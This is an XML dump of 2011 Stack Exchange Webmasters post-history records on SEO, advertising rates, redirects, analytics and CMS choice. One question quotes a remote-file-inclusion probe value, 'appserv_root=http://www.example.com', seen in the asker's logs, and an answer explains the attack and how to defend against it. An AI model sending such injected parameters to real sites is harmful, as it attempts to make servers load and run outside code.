  <row Id="17544" PostHistoryTypeId="2" PostId="8168" RevisionGUID="47763b31-e231-46fb-8b2b-b2d6a4c72dc5" CreationDate="2011-01-24T10:56:59.340" UserDisplayName="user4848" Text="You not necessarily need to deal with CPM or CPC when it comes to direct advertising. You can work off your analytics and industry, and close a time-based deal -- like a outdoor advertising banner.&#xD;&#xA;&#xD;&#xA;That's how [DaringFireball.net][1] and many others do. This is much simpler for advertisers and more predictable for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://daringfireball.net/feeds/sponsors/" />
  <row Id="17545" PostHistoryTypeId="2" PostId="8169" RevisionGUID="6cf92fb3-f705-4a5e-8c76-9ec93f2f4b11" CreationDate="2011-01-24T11:23:24.260" UserId="2650" Text="&#xD;&#xA;I'm looking for a script, functioning like the Google homepage that fetches data from a database rather than the internet. &#xD;&#xA;&#xD;&#xA;This is not intended to be a search engine, but a repository of jokes that can be pulled depending on the keywords typed. No sophisticated search techniques are required - keyword based is perfectly fine.&#xD;&#xA;&#xD;&#xA;If some mechanism of up/down-voting jokes can be incorporated, that would be fantastic, but I'm presuming that will be an entirely different game.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17546" PostHistoryTypeId="1" PostId="8169" RevisionGUID="6cf92fb3-f705-4a5e-8c76-9ec93f2f4b11" CreationDate="2011-01-24T11:23:24.260" UserId="2650" Text="Jokes search engine / PHP based search engine on database" />
  <row Id="17547" PostHistoryTypeId="3" PostId="8169" RevisionGUID="6cf92fb3-f705-4a5e-8c76-9ec93f2f4b11" CreationDate="2011-01-24T11:23:24.260" UserId="2650" Text="&lt;php&gt;&lt;search-engines&gt;&lt;mysql&gt;" />
  <row Id="17548" PostHistoryTypeId="2" PostId="8170" RevisionGUID="1a5a9db7-cb2e-482b-95e9-f4ab7041d2d2" CreationDate="2011-01-24T11:43:15.010" UserId="3878" Text="I can think of a few ways you can achieve this.&#xD;&#xA;&#xD;&#xA;**1. 301 Redirect**&#xD;&#xA;&#xD;&#xA;You set up *url1* to do a [301 redirect][1] to *url2*. This would mean that Google goes to *url1* and is redirected to *url2* and would therefore index *url2*.&#xD;&#xA;&#xD;&#xA;**2. Robots.txt**&#xD;&#xA;&#xD;&#xA;You can use [robots.txt][2] to blog Google from indexing the notfixed.htm page. Something like this would work:&#xD;&#xA;&#xD;&#xA;    User-Agent: *&#xD;&#xA;    Disallow: /notfixed.htm&#xD;&#xA;&#xD;&#xA;**3. Canonical**&#xD;&#xA;&#xD;&#xA;With Google you can use a special field in the document called [canonical][3] which basically tells google that the link it is checking has another version at this page and that Google should favour that page instead of the one it is currently on. You would do this by putting the following on the page *url1*&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://www.mysite.com/redirection.htm?pageId=12&quot; /&gt;&#xD;&#xA;&#xD;&#xA;For more information on this topic, [see this page][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.squidoo.com/301&#xD;&#xA;  [2]: http://www.robotstxt.org/&#xD;&#xA;  [3]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html&#xD;&#xA;  [4]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=66359" />
  <row Id="17549" PostHistoryTypeId="2" PostId="8171" RevisionGUID="24c27d68-5199-47e5-90d4-7d7588fe207c" CreationDate="2011-01-24T12:24:34.100" UserDisplayName="JP19" Text="Can someome tell me if there is an API to get search results form Google? I went through the [Google Search APIs][1], but could not find anything that will let me get search results (the custom search api is limited to searching few sites only I think). &#xD;&#xA;&#xD;&#xA;I have heard some tools on the web use a generic search api. Is there any such API?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/more/#google-search" />
  <row Id="17550" PostHistoryTypeId="1" PostId="8171" RevisionGUID="24c27d68-5199-47e5-90d4-7d7588fe207c" CreationDate="2011-01-24T12:24:34.100" UserDisplayName="JP19" Text="Google Search API" />
  <row Id="17551" PostHistoryTypeId="3" PostId="8171" RevisionGUID="24c27d68-5199-47e5-90d4-7d7588fe207c" CreationDate="2011-01-24T12:24:34.100" UserDisplayName="JP19" Text="&lt;google&gt;&lt;google-search&gt;&lt;api&gt;&lt;google-search-api&gt;" />
  <row Id="17552" PostHistoryTypeId="2" PostId="8172" RevisionGUID="c0580c57-5d42-42db-b39c-e9d6c141532f" CreationDate="2011-01-24T12:37:32.487" UserDisplayName="Nick" Text="We currently have Analytics tracking codes running throughout our site including our Sub Domains.&#xD;&#xA;&#xD;&#xA;What I would like to do is create different Profiles under the same account segmenting the sub domains by means of filters.&#xD;&#xA;&#xD;&#xA;Currently I am just excluding the hostname of the main website by using the following custom filter:&#xD;&#xA;&#xD;&#xA;Exclude: Hostname&#xD;&#xA;Filter pattern: ^www\.mydomain\.co\.za(.*)&#xD;&#xA;&#xD;&#xA;I know this isn't the proper method of doing this though and have some of the main domains links coming through in the data.&#xD;&#xA;&#xD;&#xA;Ideally I would just like to include anything from: sub.domain.co.za&#xD;&#xA;&#xD;&#xA;Any help would be greatly appreciated.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17553" PostHistoryTypeId="1" PostId="8172" RevisionGUID="c0580c57-5d42-42db-b39c-e9d6c141532f" CreationDate="2011-01-24T12:37:32.487" UserDisplayName="Nick" Text="Sub Domain tracking with Analytics filters" />
  <row Id="17554" PostHistoryTypeId="3" PostId="8172" RevisionGUID="c0580c57-5d42-42db-b39c-e9d6c141532f" CreationDate="2011-01-24T12:37:32.487" UserDisplayName="Nick" Text="&lt;google-analytics&gt;" />
  <row Id="17555" PostHistoryTypeId="17" PostId="8172" RevisionGUID="2bf70914-1ea0-432a-9376-0db4da012972" CreationDate="2011-01-24T12:59:53.743" UserId="-1" Comment="from http://superuser.com/questions/237109/sub-domain-tracking-with-analytics-filters" Text="" />
  <row Id="17556" PostHistoryTypeId="2" PostId="8173" RevisionGUID="f1eb171d-63c6-4846-9c88-6d90a337b053" CreationDate="2011-01-24T13:41:01.883" UserId="108" Text="I would think [Google's search API][1] is about as generic as you can get. You can also use [Bing's Search API][2]. Or if you want something more exotic and possibly better, check out [Duck Duck Go's search API][3].  Duck Duck Go I believe uses Google's API as well as a number of other one's so using that API and doing some research into what it does may be the most help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/customsearch/v1/overview.html&#xD;&#xA;  [2]: http://msdn.microsoft.com/en-us/library/dd251056.aspx&#xD;&#xA;  [3]: http://duckduckgo.com/api.html" />
  <row Id="17557" PostHistoryTypeId="10" PostId="8167" RevisionGUID="8285114a-65f9-4f71-aa0d-5ff1d96ffb3c" CreationDate="2011-01-24T13:51:14.053" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="17558" PostHistoryTypeId="11" PostId="8167" RevisionGUID="55b01abb-8096-413f-93f2-8eee554d6cb8" CreationDate="2011-01-24T13:54:53.237" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="17559" PostHistoryTypeId="16" PostId="8167" RevisionGUID="292eca24-7994-4d4b-b488-7c21f43a2181" CreationDate="2011-01-24T13:55:15.187" UserId="1253" />
  <row Id="17560" PostHistoryTypeId="25" PostId="8172" RevisionGUID="829fc596-d646-451d-b8c9-4ec25c74add3" CreationDate="2011-01-24T13:55:49.140" Comment="http://twitter.com/#!/StackWebmasters/status/29537859044122624" />
  <row Id="17561" PostHistoryTypeId="17" PostId="8175" RevisionGUID="b19f9fd1-b502-47eb-9884-01200daf2012" CreationDate="2011-01-24T14:24:50.477" UserId="-1" Comment="from http://stackoverflow.com/questions/4781971/any-seo-sense-in-embedding-exif-metadata-on-web-site-images/4782527#4782527" Text="" />
  <row Id="17562" PostHistoryTypeId="2" PostId="8175" RevisionGUID="97936b66-dfd1-4a39-93e8-68b25d81548b" CreationDate="2011-01-24T13:26:53.203" UserDisplayName="dabhaid" Text="Not currently, no.  EXIF is a binary format, so embedding your own keywords in the EXIF headers will only result in some additional binary in the image file, which (AFAIK) no search engine currently parses for indexing.  Whether you want to start embedding keywords now, in anticipation of this feature from search engines is up to you.  &#xD;&#xA;&#xD;&#xA;I see limitation to the practicality of indexing against image metadata.  Obviously EXIF metadata is embedded in the image, so if the same image is copied across different sites without modifying the EXIF the veracity of EXIF tags is weakened, which would probably cause search engines to respond by devaluing EXIF metadata where it doesn't match site tags, and then what's the point really?" />
  <row Id="17563" PostHistoryTypeId="2" PostId="8174" RevisionGUID="61140aaa-3db9-4692-94a2-cca872005ed4" CreationDate="2011-01-24T12:30:28.817" UserId="4785" Text="I got a quick question and would love to know your opinion. &#xD;&#xA;I develop a CMS that in it's large part is very SEO-centric with many features that allow to control various individual parts of a web page.&#xD;&#xA;&#xD;&#xA;For example a web page can have a nice slug (url alias), page title override (other than content title in the CMS), text before footer, after footer, intro text, h1 tag, etc... &#xD;&#xA;&#xD;&#xA;Also image file names can be renamed to something more meaningful than a GUID, ID, etc.&#xD;&#xA;The CMS also allows me to enter an &quot;alt&quot; and &quot;title&quot; tag (to display as a short image description in a tooltip, enter &quot;tags&quot; for CMS/internal use) &#xD;&#xA;&#xD;&#xA;Question is - do you think there would be sense in actually embedding &quot;keywords&quot; and other useful info within each/some uploaded image's EXIF metadata ? Any SEO advantage over just a nice image name and an &quot;alt&quot; tag.. ? &#xD;&#xA;&#xD;&#xA;If we're trying to beat our competition SEO-wise, really hard with every possible aspect - why not embed additional keywords metadata on images ?" />
  <row Id="17564" PostHistoryTypeId="1" PostId="8174" RevisionGUID="61140aaa-3db9-4692-94a2-cca872005ed4" CreationDate="2011-01-24T12:30:28.817" UserId="4785" Text="any SEO sense in embedding EXIF metadata on web site images ?" />
  <row Id="17565" PostHistoryTypeId="3" PostId="8174" RevisionGUID="61140aaa-3db9-4692-94a2-cca872005ed4" CreationDate="2011-01-24T12:30:28.817" UserId="4785" Text="&lt;image&gt;&lt;seo&gt;" />
  <row Id="17566" PostHistoryTypeId="17" PostId="8174" RevisionGUID="f492a5b5-dab1-4fbf-a605-fb775e952db5" CreationDate="2011-01-24T14:24:50.477" UserId="-1" Comment="from http://stackoverflow.com/questions/4781971/any-seo-sense-in-embedding-exif-metadata-on-web-site-images" Text="" />
  <row Id="17567" PostHistoryTypeId="5" PostId="8028" RevisionGUID="d31311e4-5fa7-46d4-b838-cb305b7233b1" CreationDate="2011-01-24T14:40:15.873" UserId="4024" Comment="added 441 characters in body" Text="Recommendations needed.&#xD;&#xA;&#xD;&#xA;We want to get in touch with customers via live chat. &#xD;&#xA;&#xD;&#xA;Requirements:&#xD;&#xA;&#xD;&#xA;- chat window customisable to mingle with website theme (colors etc)&#xD;&#xA;- preferably the window should be within webpage and not only pop-out/popup.&#xD;&#xA;- ease of use by customer&#xD;&#xA;- minimally intrusive&#xD;&#xA;- should have triggers/Alerts to backend side. for ex: user is unable to fill-up signup form or something, we should be able to offer help to user and this chat window automatically shows to user.&#xD;&#xA;&#xD;&#xA;What is the cost ?&#xD;&#xA;&#xD;&#xA;**UPDATE**:&#xD;&#xA;After R&amp;D we also narrowed down to comm100 and liveperson, and we will go with comm100.&#xD;&#xA;LP is best commerical soln. but comm100 is a good free soln. We go with comm100 as starting point.&#xD;&#xA;&#xD;&#xA;But it gives out exceptions alerts sometimes in the dashboard. Can it be configured for chat invitations triggered on certain conditions. Currently only a timebased trigger is available. Any other major difference between these two ?" />
  <row Id="17568" PostHistoryTypeId="2" PostId="8176" RevisionGUID="31cde77a-e45d-4f44-b062-dd2ed71dc1bc" CreationDate="2011-01-24T15:23:41.590" UserId="1757" Text="It [varies][1] greatly [from industry to industry][2], country to country, and, especially CPM, from site to site. The easiest would be to see how much adWords charges for the keywords related to your site. &#xD;&#xA;&#xD;&#xA;If I can get *X* click-thrus or ad impressions by spending *$Y* on adWords, then I'm not likely to pay more than *$Y/X* per click/impression on advertising on a website unless it's a very well known site in my industry or they have past ad performance data showing that their ad space is more effective.&#xD;&#xA;&#xD;&#xA;  [1]: http://searchenginewatch.com/3634925&#xD;&#xA;  [2]: http://www.rexduffdixon.com/2010/05/06/the-average-cpm-rates-across-different-verticals/" />
  <row Id="17569" PostHistoryTypeId="2" PostId="8177" RevisionGUID="0d8e6917-866b-410c-ae95-195ce0764ebf" CreationDate="2011-01-24T15:31:07.183" UserId="4853" Text="I want to temporarily redirect all requests for a site to index.html, using apache only. Is this mod_rewrite approach going to work, and is it the right way to do it?  &#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule   ^.*$  /index.html  [R]&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="17570" PostHistoryTypeId="1" PostId="8177" RevisionGUID="0d8e6917-866b-410c-ae95-195ce0764ebf" CreationDate="2011-01-24T15:31:07.183" UserId="4853" Text="Using mod_rewrite to send all requests to a certain document" />
  <row Id="17571" PostHistoryTypeId="3" PostId="8177" RevisionGUID="0d8e6917-866b-410c-ae95-195ce0764ebf" CreationDate="2011-01-24T15:31:07.183" UserId="4853" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="17572" PostHistoryTypeId="25" PostId="8171" RevisionGUID="729d52a9-78f5-4d3f-ad2a-ccb4106a1fcb" CreationDate="2011-01-24T16:55:48.780" Comment="http://twitter.com/#!/StackWebmasters/status/29583155811848192" />
  <row Id="17573" PostHistoryTypeId="2" PostId="8178" RevisionGUID="2ef52543-38cc-4401-b272-5c5a6b85b060" CreationDate="2011-01-24T17:05:20.287" UserDisplayName="user4855" Text="Looking for a *reasonably* priced alternative to YouSendIt's exorbitant pricing for an embedded, unbranded (i.e. no &quot;Uploads by SomeCompany&quot; or at the very least, discrete, subtle co-branding) file upload solution for my client's print shop Website.  To do what we want to do with YouSendIt, we're looking at a corporate account of $995 USD *plus* $29.99 USD monthly fee, that is only sold pro-rated, so you have to buy the entire year's worth.  To me, this is just unacceptable considering the commodity pricing of storage and bandwidth nowadays.&#xD;&#xA;&#xD;&#xA;For data, we're looking at roughly 10MB per upload, with perhaps 250-1000 uploads per month, with transient data storage of no more than 30 days (and more than likely 1-2 business days) for a total of 10 GB transfer (upload) and 10 GB transfer (download, to the print shop) at the very max each month.&#xD;&#xA;&#xD;&#xA;Any ideas?  Everything I've found through searching seems to be geared more towards personal file sharing and not for embedding into Websites.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="17574" PostHistoryTypeId="1" PostId="8178" RevisionGUID="2ef52543-38cc-4401-b272-5c5a6b85b060" CreationDate="2011-01-24T17:05:20.287" UserDisplayName="user4855" Text="YouSendIt Alternative?" />
  <row Id="17575" PostHistoryTypeId="3" PostId="8178" RevisionGUID="2ef52543-38cc-4401-b272-5c5a6b85b060" CreationDate="2011-01-24T17:05:20.287" UserDisplayName="user4855" Text="&lt;uploading&gt;" />
  <row Id="17576" PostHistoryTypeId="2" PostId="8179" RevisionGUID="c80113e0-c996-4a55-9f1e-d3a0be618e6e" CreationDate="2011-01-24T17:11:15.320" UserId="4857" Text="And if I do, will it effect how much money the ads make in any way? Thanks" />
  <row Id="17577" PostHistoryTypeId="1" PostId="8179" RevisionGUID="c80113e0-c996-4a55-9f1e-d3a0be618e6e" CreationDate="2011-01-24T17:11:15.320" UserId="4857" Text="Can I create one ad in Google Adsense and then copy and paste the code on more then one page?" />
  <row Id="17578" PostHistoryTypeId="3" PostId="8179" RevisionGUID="c80113e0-c996-4a55-9f1e-d3a0be618e6e" CreationDate="2011-01-24T17:11:15.320" UserId="4857" Text="&lt;google&gt;&lt;advertising&gt;&lt;google-adsense&gt;" />
  <row Id="17579" PostHistoryTypeId="2" PostId="8180" RevisionGUID="81f1216a-291f-44b3-ba33-3b1f0877e66b" CreationDate="2011-01-24T17:39:39.023" UserId="1757" Text="You need to use something like this I think:&#xD;&#xA;&#xD;&#xA;    RewriteRule	!^/index.html$	/index.html [R=302]&#xD;&#xA;&#xD;&#xA;Like pritaeas noted, you should use the 302 code to specify that the move is temporary. And you want to match everything *but* `/index.html`, otherwise you'll send the browser on an infinite redirect loop.&#xD;&#xA;&#xD;&#xA;Also, if you have any images, stylesheets, JS files, or other resources that are in the same directory or subdirectory, you need to also make exceptions for those or turn the rewrite engine off in those directories." />
  <row Id="17580" PostHistoryTypeId="2" PostId="8181" RevisionGUID="c029c87c-b829-4aa5-8c6f-109728677b01" CreationDate="2011-01-24T18:03:13.750" UserId="1064" Text="You could mount your client's Amazon S3 account as a filesystem in userspace ([Windows][1]/[Linux][2]) and upload the files to that location - likely the cheapest and most reliable in-house solution if you are OK to code something up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wins3fs.codeplex.com/&#xD;&#xA;  [2]: http://shahidz.com/mounting-amazon-s3-bucket-to-a-local-linux-file-system/" />
  <row Id="17581" PostHistoryTypeId="2" PostId="8182" RevisionGUID="30359f04-3c52-40bb-82c9-3d617a0d3810" CreationDate="2011-01-24T18:21:09.230" UserId="4256" Text="I see a lot of requests for nonexistent php files on my website.  They tend to have a querystring like `appserv_root=http://www.example.com`, using domains with evil-looking php code.&#xD;&#xA;&#xD;&#xA;I am pretty confident that this is trying to make use of some php vulnerability or other.  So, I am curious:&#xD;&#xA;&#xD;&#xA;1.  What vulnerability is this trying to make use of?&#xD;&#xA;2.  How does one protect against this vulnerability?&#xD;&#xA;3.  What in the site configuration would be changed if this vulnerability was successfully exploited?" />
  <row Id="17582" PostHistoryTypeId="1" PostId="8182" RevisionGUID="30359f04-3c52-40bb-82c9-3d617a0d3810" CreationDate="2011-01-24T18:21:09.230" UserId="4256" Text="What is the purpose of the appserv_root requests?" />
  <row Id="17583" PostHistoryTypeId="3" PostId="8182" RevisionGUID="30359f04-3c52-40bb-82c9-3d617a0d3810" CreationDate="2011-01-24T18:21:09.230" UserId="4256" Text="&lt;php&gt;&lt;security&gt;" />
  <row Id="17587" PostHistoryTypeId="2" PostId="8184" RevisionGUID="7c0158ab-2ddf-42d9-846f-43ede97b297b" CreationDate="2011-01-24T18:27:18.367" UserId="4858" Text="The workflow module can be used for this purpose -- [this page has a good overview][1].&#xD;&#xA;&#xD;&#xA;Also you might take a look at these modules, one of which might work well for you:&#xD;&#xA;&#xD;&#xA; - [http://drupal.org/project/moderation][2]&#xD;&#xA; - [http://drupal.org/project/modr8][3]&#xD;&#xA; - [http://drupal.org/project/content_moderator][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://answers.oreilly.com/topic/1549-how-to-setup-a-drupal-publishing-workflow/&#xD;&#xA;  [2]: http://drupal.org/project/moderation&#xD;&#xA;  [3]: http://drupal.org/project/modr8&#xD;&#xA;  [4]: http://drupal.org/project/content_moderator" />
  <row Id="17589" PostHistoryTypeId="2" PostId="8186" RevisionGUID="7e15d81e-eb0f-45c1-a825-e6ecc323fa15" CreationDate="2011-01-24T19:00:08.653" UserId="1920" Text="[Polldaddy.com][1] is another site that allows your survey to have PNG, JPEG, and GIF images, and MP3 audio files embedded as options along with the text of the options. (It also says something about video, but that may be a premium option.) &#xD;&#xA;&#xD;&#xA;However, I am using the site for an inline survey: i.e. user takes 1 question survey and then the code block spits out a report of the votes cast so far. This may be an option for non-free users (Lifehacker uses this company, and their surveys do this), however mine spits up this ugly, unthemed ad for polldaddy instead.&#xD;&#xA;&#xD;&#xA;I added a results page and a click through to it below the survey. Still, no updating report; but hey it's free.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.polldaddy.com" />
  <row Id="17590" PostHistoryTypeId="2" PostId="8187" RevisionGUID="6282676f-2ca6-4982-be3c-1eb56a22cf0b" CreationDate="2011-01-24T17:38:27.330" UserDisplayName="infty" Text="A friend has asked me to build a site with the following options: &#xD;&#xA;&#xD;&#xA;- staff members must be able to add new music and artists to the page&#xD;&#xA;- a gallery must be provided - it is also good if each artist has the ability to have his/her own, smaller, gallery&#xD;&#xA;- users must be able to vote for artists&#xD;&#xA;- users must be able to alter in discussions (forums or comments sections)&#xD;&#xA;- staff members must be able to blog&#xD;&#xA;- staff members must be able to write articles&#xD;&#xA;&#xD;&#xA;I did a small project where i actually implementet all of these features, but i want to  use an existing content managment system for all of these features so that future devolpers can, hopefully, more easy extend the website. And also, so that i dont have to provide to much documentation. &#xD;&#xA;&#xD;&#xA;I have never developed a website using an external cms like drupal or wordpress and after seeing hours of tutorial videos of both systems, i still cant make up my mind on wheter i should : &#xD;&#xA;&#xD;&#xA;a) use Drupal 7&#xD;&#xA;b) use Wordpress 3&#xD;&#xA;c) create my own cms&#xD;&#xA;&#xD;&#xA;I can only imagine that staff members would also want to create content using iphone or android based mobile devices. But this is not a required feature.&#xD;&#xA;&#xD;&#xA;Can someone, with experience, please tell me about their experiences with bigger projects like this? &#xD;&#xA;&#xD;&#xA;The site will approx. have a total of 400 000 - 500 000 visitors (not daily visitors, based on numbers from last year in a period of 4 months)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17591" PostHistoryTypeId="1" PostId="8187" RevisionGUID="6282676f-2ca6-4982-be3c-1eb56a22cf0b" CreationDate="2011-01-24T17:38:27.330" UserDisplayName="infty" Text="Artists and music - i need help to decide wich cms to use. " />
  <row Id="17592" PostHistoryTypeId="3" PostId="8187" RevisionGUID="6282676f-2ca6-4982-be3c-1eb56a22cf0b" CreationDate="2011-01-24T17:38:27.330" UserDisplayName="infty" Text="&lt;wordpress&gt;&lt;music&gt;&lt;iphone&gt;&lt;drupal&gt;" />
  <row Id="17593" PostHistoryTypeId="17" PostId="8187" RevisionGUID="07da85a7-3b4f-420b-8325-ebbd7f34c671" CreationDate="2011-01-24T19:21:54.933" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/11624/artists-and-music-i-need-help-to-decide-wich-cms-to-use" Text="" />
  <row Id="17597" PostHistoryTypeId="2" PostId="8189" RevisionGUID="10dede0d-093f-4e1d-93f9-5223c364c9f4" CreationDate="2011-01-24T19:49:07.803" UserId="4861" Text="(The guys from 'Programmers' referred me here...)&#xD;&#xA;&#xD;&#xA;How do you promote your programming blog?&#xD;&#xA;&#xD;&#xA;I recently started [http://blackforestcoder.blogspot.com/][1] to record my progress working with new technologies and ideas. The main aim being to provide a list of pitfalls and solutions and also to get feedback from readers.&#xD;&#xA;&#xD;&#xA;Since I set it up 10 days ago I have only had about 2-3 hits even though Google is supposed to be indexing it. How might I boost the hit rate?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blackforestcoder.blogspot.com/" />
  <row Id="17598" PostHistoryTypeId="1" PostId="8189" RevisionGUID="10dede0d-093f-4e1d-93f9-5223c364c9f4" CreationDate="2011-01-24T19:49:07.803" UserId="4861" Text="What is the best way to promote a programming blog?" />
  <row Id="17599" PostHistoryTypeId="3" PostId="8189" RevisionGUID="10dede0d-093f-4e1d-93f9-5223c364c9f4" CreationDate="2011-01-24T19:49:07.803" UserId="4861" Text="&lt;advertising&gt;&lt;blog&gt;" />
  <row Id="17605" PostHistoryTypeId="2" PostId="8190" RevisionGUID="17a57f21-0c62-469a-9dc9-44f1d0dbbde9" CreationDate="2011-01-24T20:03:43.980" UserId="43" Text="This could certainly be accomplished using WordPress. It would take some custom development, but some of your requirements could be met using plugins, which would reduce development time significantly. You might want to ask for more detail  on how your different requirements could be met at the [WordPress Stack Exchange site][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.stackexchange.com/" />
  <row Id="17606" PostHistoryTypeId="2" PostId="8191" RevisionGUID="497974a2-1f47-4af8-800d-2944da18e8db" CreationDate="2011-01-24T20:07:17.510" UserId="1253" Text="Looks like they're trying to do a [remote file include attack][1]. Looks like [this is the vulnerability][2] they are trying to exploit but I'm not 100% sure of it. I'm guessing you look safe if you're not using that application and/or have register_globals turned off (which you always should).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Remote_file_inclusion&#xD;&#xA;  [2]: http://www.net-security.org/vulnerability.php?id=22228" />
  <row Id="17607" PostHistoryTypeId="16" PostId="8158" RevisionGUID="6bf3befa-e51c-4068-9f81-0c42f6637623" CreationDate="2011-01-24T20:08:34.827" UserId="1253" />
  <row Id="17608" PostHistoryTypeId="17" PostId="8193" RevisionGUID="6925781b-3be7-4874-ac8a-ac176a81db8f" CreationDate="2011-01-24T20:27:58.373" UserId="-1" Comment="from http://serverfault.com/questions/226088/dns-question-and-google-page-rank-from-domains/226100#226100" Text="" />
  <row Id="17609" PostHistoryTypeId="17" PostId="8194" RevisionGUID="8045f9f7-e0cb-4288-b64b-8db4d4dc87d9" CreationDate="2011-01-24T20:27:58.373" UserId="-1" Comment="from http://serverfault.com/questions/226088/dns-question-and-google-page-rank-from-domains/226154#226154" Text="" />
  <row Id="17610" PostHistoryTypeId="2" PostId="8193" RevisionGUID="66c2bd21-a91e-4549-908a-ceb7877e452b" CreationDate="2011-01-24T10:36:52.590" UserId="3310" Text="You need to set a 301 redirect on one of your domains to point to the other one." />
  <row Id="17611" PostHistoryTypeId="2" PostId="8194" RevisionGUID="868f01a0-0e13-4a67-8d2f-c672bd901784" CreationDate="2011-01-24T13:19:19.990" UserDisplayName="lapo" Text="If the only difference is &quot;with or without .www&quot; you can use [Google Webmaster Tools][1] to warn Google that both are the same website.&#xD;&#xA;&#xD;&#xA;Or, you can use a permanent redirect to move traffic to the preferred form of the website name.&#xD;&#xA;&#xD;&#xA;Or, if you don't want to use a single URL, but you want to warn search engines of the uniqueness of the content, you can use [canonical URLs][2].&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/home&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="17612" PostHistoryTypeId="2" PostId="8192" RevisionGUID="c9295fce-74bc-4b98-b928-f5e3cb6b81ad" CreationDate="2011-01-24T10:15:36.180" UserDisplayName="Beck" Text="I'm not so good at dns at all :)&#xD;&#xA;Just basics.&#xD;&#xA;&#xD;&#xA;A while ago i have noticed, that my blog have different Page Ranks, PR 3 for domain www.example.com and PR 1 for domain example.com.&#xD;&#xA;&#xD;&#xA;In dns records i have this setup:&#xD;&#xA;&#xD;&#xA;    A - IP - www.example.com&#xD;&#xA;    A - same IP - example.com&#xD;&#xA;&#xD;&#xA;Should i replace this record &quot;A - same IP - example.com&quot; with row with CNAME instead of A?&#xD;&#xA;Like that:&#xD;&#xA;&#xD;&#xA;    CNAME - same IP - example.com - alias www.example.com&#xD;&#xA;&#xD;&#xA;Will this combine Page Rank value of both domains?&#xD;&#xA;&#xD;&#xA;Or i can just create 302 redirection inside .htaccess file, verify example.com(without www) inside Google Webmaster Tools as my domain and inside www.example.com options set as main domain?&#xD;&#xA;&#xD;&#xA;Thanks ;)" />
  <row Id="17613" PostHistoryTypeId="1" PostId="8192" RevisionGUID="c9295fce-74bc-4b98-b928-f5e3cb6b81ad" CreationDate="2011-01-24T10:15:36.180" UserDisplayName="Beck" Text="DNS question and google page rank from domains" />
  <row Id="17614" PostHistoryTypeId="3" PostId="8192" RevisionGUID="c9295fce-74bc-4b98-b928-f5e3cb6b81ad" CreationDate="2011-01-24T10:15:36.180" UserDisplayName="Beck" Text="&lt;dns&gt;" />
  <row Id="17615" PostHistoryTypeId="17" PostId="8192" RevisionGUID="1a7ca639-6ca4-4760-858a-831bbbe9f023" CreationDate="2011-01-24T20:27:58.373" UserId="-1" Comment="from http://serverfault.com/questions/226088/dns-question-and-google-page-rank-from-domains" Text="" />
  <row Id="17616" PostHistoryTypeId="2" PostId="8195" RevisionGUID="2bcde0dd-d119-45ce-a112-9de331247b5f" CreationDate="2011-01-24T20:41:57.330" UserId="2907" Text="Couldn't you use a CMS system that indexes the content full text? I've not used them extensively, but I think Joomla or Drupal may be all you need.&#xD;&#xA;&#xD;&#xA;You'd have to determine who you want to be able to post and such though.&#xD;&#xA;&#xD;&#xA;D." />
  <row Id="17617" PostHistoryTypeId="2" PostId="8196" RevisionGUID="141ca8e8-aa25-4245-a491-c93c2d60a748" CreationDate="2011-01-24T20:45:40.937" UserId="4863" Text="The popular items menu on [www.nfpn.org][1] (displayed in right side bar) has sub-menu items defined. When someone navigates to a top-level page that's represented in that menu, I'd like for the child items to be displayed. I've played with various mod_mainmenu settings for that menu (in the modules section) without success.&#xD;&#xA;&#xD;&#xA;How would I get the appropriate sub-menu to expand?&#xD;&#xA;&#xD;&#xA;I'm using Joomla 1.5.21.&#xD;&#xA;&#xD;&#xA;Thank you,  &#xD;&#xA;Ben&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nfpn.org/" />
  <row Id="17618" PostHistoryTypeId="1" PostId="8196" RevisionGUID="141ca8e8-aa25-4245-a491-c93c2d60a748" CreationDate="2011-01-24T20:45:40.937" UserId="4863" Text="Joomla Sub-Menu Won't Expand" />
  <row Id="17619" PostHistoryTypeId="3" PostId="8196" RevisionGUID="141ca8e8-aa25-4245-a491-c93c2d60a748" CreationDate="2011-01-24T20:45:40.937" UserId="4863" Text="&lt;joomla&gt;&lt;menu&gt;" />
